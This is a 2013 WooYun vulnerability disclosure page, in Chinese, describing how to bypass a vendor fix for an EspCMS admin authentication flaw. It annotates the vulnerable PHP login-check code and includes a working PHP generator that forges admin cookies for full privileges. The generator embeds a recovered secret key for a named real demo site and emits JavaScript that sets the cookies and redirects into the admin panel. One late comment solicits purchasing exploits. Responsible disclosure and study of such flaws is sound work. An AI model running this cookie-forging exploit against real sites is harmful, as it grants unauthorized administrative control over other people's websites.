当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(22) 关注此漏洞

缺陷编号: WooYun-2013-22517

漏洞标题: EspCMS 后台登录绕过漏洞再利用(再利用!)

相关厂商: 易思ESPCMS企业网站管理系统

漏洞作者: c4rp3nt3r

提交时间: 2013-04-25 18:31

公开时间: 2013-06-09 18:31

漏洞类型: 未授权访问/权限绕过

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 认证设计不合理 php源码审核 未授权访问 白盒测试 越权操作 EspCMS

5人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-04-25: 细节已通知厂商并且等待厂商处理中
2013-04-25: 厂商已经确认,细节仅向厂商公开
2013-05-05: 细节向核心白帽子及相关领域专家公开
2013-05-15: 细节向普通白帽子公开
2013-05-25: 细节向实习白帽子公开
2013-06-09: 细节向公众公开

简要描述:

声明下,此漏洞0413提交到360漏洞平台,之后0422官方修复了该漏洞。
现在提交到wooyun是绕过官方修复的方法,继续利用。
可以算是老漏洞提死回生,不应该算是同一个漏洞提交到两个地方,希望有关部门能够明白,尽管代码非常像。

详细说明:

之前4月13日在360的漏洞平台提交过一次,当时给出了能计算出db_pscode的利用工具。db_pscode是安装的时候随机生成的一个字符串常量,保存在配置文件里。4月22日,官方发布了新版本,改进了程序安装时候生成db_pscode的方法,"修复了"该漏洞。其实官方只是防住了当时的那个exp,并没有从根本上防住漏洞。22日之前是32位的md5hash字符串,这次长度变的不固定可以是1-39位的字符串,但是依然可以逆向出来,这里还是以后台绕过的方法来利用这个漏洞。



先看一下EspCMS后台的验证流程



管理的主界面important类的构造函数:

code 区域
<?php
//adminsoft/management.php

class important extends connector {

function important() {
$this->softbase(true); //构造函数调用了父类中的softbase函数,softbase函数又调用了admin_purview函数来验证登录状态
}

---
//父类 connector中的softbase函数
// public/class_connector.php
class connector {

function softbase($admin_purview = false) {

header("Content-Type: text/html; charset=utf-8");
$this->dbmysql();
$this->commandinc();
$this->systemfile();
$this->cachedb();
if ($admin_purview) {

$this->admin_purview(); //这里会验证管理员是否已经登录

$this->sitelng = $this->getlng();

$action = $this->fun->accept('action', 'R');
if (in_array($action, $this->esp_powerlist) && !in_array('all', $this->esp_powerlist)) {
exit('Permissions errors'); //$this->esp_powerlist权限列表 这里设置成all就ok了
}
}

.....
// public/class_connector.php

function admin_purview() {
if ($this->fun->accept('archive', 'R') == 'filemanage' && $this->fun->accept('action', 'R') == 'batupfilesave') {

$ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'G');
$esp_powerlist = $this->fun->accept('esp_powerlist', 'G');

$gettype = false;
} else {
$ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'C');
$esp_powerlist = $this->fun->accept('esp_powerlist', 'C');
$gettype = true; //上面的两个数据可以从 cookie 和get的参数中获取
//我们还是直接从cookie入手吧,一是隐蔽啊,来无影去无踪,二是能保存参数值
//$esp_powerlist 是权限列表 我们让这里 解码后是 all 也就是拥有所有权限的管理员
//$ecisp_admininfo保存着管理员的一些信息
}

//下面的db_pscode 我们已经能够控制了,$ecisp_admininfo我们可以自己构造,进一步控制 $arr_purview 和 $this->esp_powerlist

$arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode));

$this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode));
// "1|c4rp3nt3r|12345678901234567890123456789012|md5('Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101') |1|management|".ms5('http://scan.hackme.info/espcms/adminsoft/');

list($this->esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $this->esp_powerid, $this->esp_inputclassid, $this->esp_softurl) = $arr_purview;
if ($gettype) {
//cookie提交的参数 程序就进到这里 只要满足下面的条件 使 $condition = 1; 那么就通过了管理员验证
//这里的问题是所有数据没有再一次进入到数据库验证(如果验证的话估计会产生SQL注入:)
//我们构造 $this->esp_username = 'c4rp3nt3r'; $this->esp_adminuserid = '1';$this->esp_softurl是后台地址已知的

if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
} else {


if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_ClassURL) != $this->esp_softurl) {
$condition = 0;
} else {
$condition = 1;
}
}
if ($condition == 0) {

if ($this->fun->accept('archive', 'R') != 'adminuser' && $this->fun->accept('action', 'R') != 'login') {
header('location: index.php?archive=adminuser&action=login');
exit();
}
} else { //通过了管理员验证 :-)

if ($condition == 1 && $this->fun->accept('point', 'R') == '' && $this->fun->accept('archive', 'R') == '' && $this->fun->accept('action', 'R') == '') {
header('location: index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter');
exit();
}
}
}



这里关键是 $this->fun->eccode() 这个函数的解密密钥 db_pscode 的获取了。

通过对比明文和密文可以逆向出这个值:



为了不必要的误会和麻烦,这里就不给出计算db_pscode的具体代码了。说下方法吧:

通过useragent 和 网站根目录网址就能逆向出超过66位的字符串值。

0422后db_pscode长度如果在32位之内也可以通过别的地方如发送验证邮件的地方获得32位的验证码。

总之N多方法。





这里直接给出后台绕过的javascript利用代码的生成代码:

code 区域
<?php
// code by c4rp3nt3r@0x50sec.org

$admin_AGENT = $_SERVER['HTTP_USER_AGENT'];

//////////////////////////////////////////////////////////////////////
$admin_ClassURL = 'http://demo.ecisp.cn/adminsoft';

$key = "b229c152dsafsdafasfsadfasfdsfcbda220a9c5"; // http://demo.ecisp.cn 这个网站的 db_pscode (20130425)
//////////////////////////////////////////////////////////////////////

$powerlist = 'all';
$admininfo = '1|espcmsadmin|cccccccccccccccccccccccccccccccc|'.md5($admin_AGENT).'|1|1|'.md5($admin_ClassURL);


$esp_powerlist = eccode($powerlist ,'ENCODE', $key);
$ecisp_admininfo = eccode($admininfo, 'ENCODE', $key);

$exploit = '';
$exploit = "document.cookie='esp_powerlist=$esp_powerlist';\n";
$exploit .= "document.cookie='ecisp_admininfo=$ecisp_admininfo';\n";
$exploit .= "//alert(document.cookie);\n";
$exploit .= "window.location.href='".$admin_ClassURL."/index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter'; \n";
echo "<pre>".$exploit."</pre>";

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {
$result = '';
//echo '^'.$key."^\n";
if ($operation == 'ENCODE') {
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) + ord($keychar));
$result.=$char;
}
$result = base64_encode($result);
$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);
} elseif ($operation == 'DECODE') {
$data = str_replace(array('-', '_'), array('+', '/'), $string);
$mod4 = strlen($data) % 4;
if ($mod4) {
$data .= substr('====', $mod4);
}
$string = base64_decode($data);
for ($i = 0; $i < strlen($string); $i++) {
$char = substr($string, $i, 1);
$keychar = substr($key, ($i % strlen($key)) - 1, 1);
$char = chr(ord($char) - ord($keychar));
$result.=$char;
}
}
return $result;
}











漏洞证明:

espcms_for_wooyun.png

修复方案:

呵呵我是来支持wooyun的

版权声明:转载请注明来源 c4rp3nt3r@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2013-04-25 20:03

厂商回复:

感谢!真是强中自有强中手,一山更比一山高啊!!!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2013-04-25 18:33 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    顶啊顶啊

  2. 2013-04-25 19:43 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    0

    顶啊顶啊

  3. 2013-04-25 23:00 | 陈再胜 ( 普通白帽子 | Rank:121 漏洞数:13 | 微博收收听~~~●﹏●)
    0

    @疯狗 @xsser 我是破坏队形的,楼上两个捣蛋王····又想起哄

  4. 2013-04-26 15:00 | 小乐天 ( 实习白帽子 | Rank:64 漏洞数:14 | From KnownSec)
    0

    exp贴出来呗

  5. 2013-05-26 01:44 | 春哥 ( 路人 | Rank:0 漏洞数:1 | xxxxx)
    0

    队形继续 顶啊顶啊

  6. 2013-06-09 19:37 | lucky ( 普通白帽子 | Rank:409 漏洞数:84 | 三人行必有我师焉########################...)
    0

    顶啊顶啊

  7. 2013-06-09 20:50 | 纠结师 ( 实习白帽子 | Rank:53 漏洞数:12 | 传说中的废材)
    0

    顶啊顶啊

  8. 2014-05-07 00:10 | 廷廷 ( 路人 | Rank:0 漏洞数:1 | 有很强的好奇心,爱好广泛,求女女带走。。...)
    0

    思路很棒 学习了

  9. 2015-09-26 17:23 | 茫茫涯 ( 路人 | Rank:0 漏洞数:1 | 郑州工作,从事网络安全工作和程序设计)
    0

    高价收购一手OD,可加QQ1291806522

登录后才能发表评论,请先 登录